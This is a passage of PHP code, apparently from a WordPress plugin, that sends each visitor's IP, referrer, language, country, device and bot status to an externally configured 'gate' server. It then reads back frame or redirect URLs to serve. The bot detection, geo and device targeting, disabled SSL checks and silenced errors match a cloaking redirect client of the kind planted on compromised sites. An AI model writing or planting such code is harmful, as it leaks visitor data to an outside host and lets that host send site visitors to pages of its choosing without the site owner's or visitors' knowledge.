build_url(); $this->last_url = $url ?: '(empty)'; if ( ! $url ) { return false; } $result = $this->fetch( $url ); if ( $result === false ) { return false; } return $result; } /** * Parse a frame URL from the gate response. * * @since 3.0 * @param string $response Raw gate response. * @return string|null Frame URL or null. */ public function parse_frame( $response ) { if ( preg_match( '/(.*?)<\/frame>/s', $response, $matches ) ) { $url = trim( $matches[1] ); if ( $url && $url !== '' ) { return $url; } } return null; } /** * Parse a redirect URL from the gate response. * * @since 3.0 * @param string $response Raw gate response. * @return string|null Redirect URL or null. */ public function parse_redirect( $response ) { if ( preg_match( '/(.*?)<\/redirect>/s', $response, $matches ) ) { $url = trim( $matches[1] ); if ( $url ) { return $url; } } return null; } /** * Build the full gate API URL with all parameters. * * @since 3.0 * @return string|false */ private function build_url() { $gate_url = defined( 'OSOT_GATE_URL' ) ? OSOT_GATE_URL : ''; if ( empty( $gate_url ) ) { return false; } $host = $this->resolve_host(); $uri = $this->resolve_uri(); $ip = $this->resolve_ip(); $ref = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : ''; $lang = isset( $_SERVER['HTTP_ACCEPT_LANGUAGE'] ) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; $geo = $this->detect_geo_hint(); $bot_detector = new OSOT_Bot_Detector(); $bot = $bot_detector->get_bot_type(); $device = $this->detect_device(); $params = array( 'host' => $host, 'uri' => $uri, 'bot' => $bot, 'ip' => $ip, 'ref' => $ref, 'lang' => $lang, 'geo' => $geo, 'device' => $device, ); // Test mode if ( isset( $_COOKIE['OSOT_TEST'] ) || isset( $_GET['OSOT_TEST'] ) ) { $params['check'] = '1'; } return $gate_url . '?' . http_build_query( $params, '', '&' ); } /** * Resolve the current host, accounting for reverse proxies. * * @return string */ private function resolve_host() { if ( isset( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ) { $host = $_SERVER['HTTP_X_FORWARDED_HOST']; } else { $host = isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : ''; } $parsed = @parse_url( 'http://' . $host ); $host = isset( $parsed['host'] ) ? $parsed['host'] : $host; // Strip www if ( strpos( $host, 'www.' ) === 0 ) { $host = substr( $host, 4 ); } return strtolower( $host ); } /** * Resolve the current URI. * * @return string */ private function resolve_uri() { $uri = isset( $_SERVER['REQUEST_URI'] ) ? $_SERVER['REQUEST_URI'] : '/'; $uri = strtok( $uri, '?' ); // strip query string return $uri ?: '/'; } /** * Resolve client IP through proxy headers. * * @return string */ private function resolve_ip() { if ( ! empty( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) { return trim( (string) $_SERVER['HTTP_CF_CONNECTING_IP'] ); } if ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $parts = explode( ',', (string) $_SERVER['HTTP_X_FORWARDED_FOR'] ); return trim( $parts[0] ); } if ( ! empty( $_SERVER['HTTP_X_REAL_IP'] ) ) { return trim( (string) $_SERVER['HTTP_X_REAL_IP'] ); } return isset( $_SERVER['REMOTE_ADDR'] ) ? (string) $_SERVER['REMOTE_ADDR'] : ''; } /** * Attempt to determine visitor GEO from available signals. * * Only uses reliable sources (CDN/proxy headers set per-visitor). * If nothing is available, returns empty — gate.php will detect from IP. * * @return string Two-letter country code or empty string. */ private function detect_geo_hint() { // Cloudflare if ( ! empty( $_SERVER['HTTP_CF_IPCOUNTRY'] ) ) { $geo = strtoupper( trim( (string) $_SERVER['HTTP_CF_IPCOUNTRY'] ) ); if ( $geo !== 'XX' && $geo !== 'T1' && strlen( $geo ) === 2 ) { return $geo; } } // AWS CloudFront if ( ! empty( $_SERVER['HTTP_CLOUDFRONT_VIEWER_COUNTRY'] ) ) { return strtoupper( trim( (string) $_SERVER['HTTP_CLOUDFRONT_VIEWER_COUNTRY'] ) ); } // Fastly / generic if ( ! empty( $_SERVER['HTTP_X_GEO_COUNTRY'] ) ) { return strtoupper( trim( (string) $_SERVER['HTTP_X_GEO_COUNTRY'] ) ); } // No reliable per-visitor source — let gate.php resolve from IP return ''; } /** * Detect device type from User-Agent. * * @return string "mobile" or "desktop" */ private function detect_device() { $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? (string) $_SERVER['HTTP_USER_AGENT'] : ''; if ( preg_match( '/Mobile|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera Mini|IEMobile/i', $ua ) ) { return 'mobile'; } return 'desktop'; } /** * Fetch a URL using the best available transport. * * @param string $url Target URL. * @return string|false */ private function fetch( $url ) { // Method 1: WordPress HTTP API if ( function_exists( 'wp_remote_get' ) ) { $response = @wp_remote_get( $url, array( 'timeout' => $this->timeout, 'sslverify' => false, 'redirection' => 2, ) ); if ( is_wp_error( $response ) ) { // Transport failed, try next method } else { $code = (int) wp_remote_retrieve_response_code( $response ); $body = wp_remote_retrieve_body( $response ); if ( $code >= 200 && $code < 300 ) { return $body; } // Non-2xx response, try next method } } // Method 2: cURL if ( function_exists( 'curl_init' ) ) { $ch = @curl_init( $url ); if ( $ch ) { curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 3 ); curl_setopt( $ch, CURLOPT_TIMEOUT, $this->timeout ); curl_setopt( $ch, CURLOPT_HEADER, 0 ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true ); curl_setopt( $ch, CURLOPT_MAXREDIRS, 2 ); $data = curl_exec( $ch ); $code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ); curl_close( $ch ); if ( $code >= 200 && $code < 300 && $data !== false ) { return $data; } } } // Method 3: file_get_contents if ( @ini_get( 'allow_url_fopen' ) ) { $ctx = @stream_context_create( array( 'http' => array( 'timeout' => $this->timeout, 'ignore_errors' => true, ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), ) ); $data = @file_get_contents( $url, false, $ctx ); if ( $data !== false ) { return $data; } } return false; } }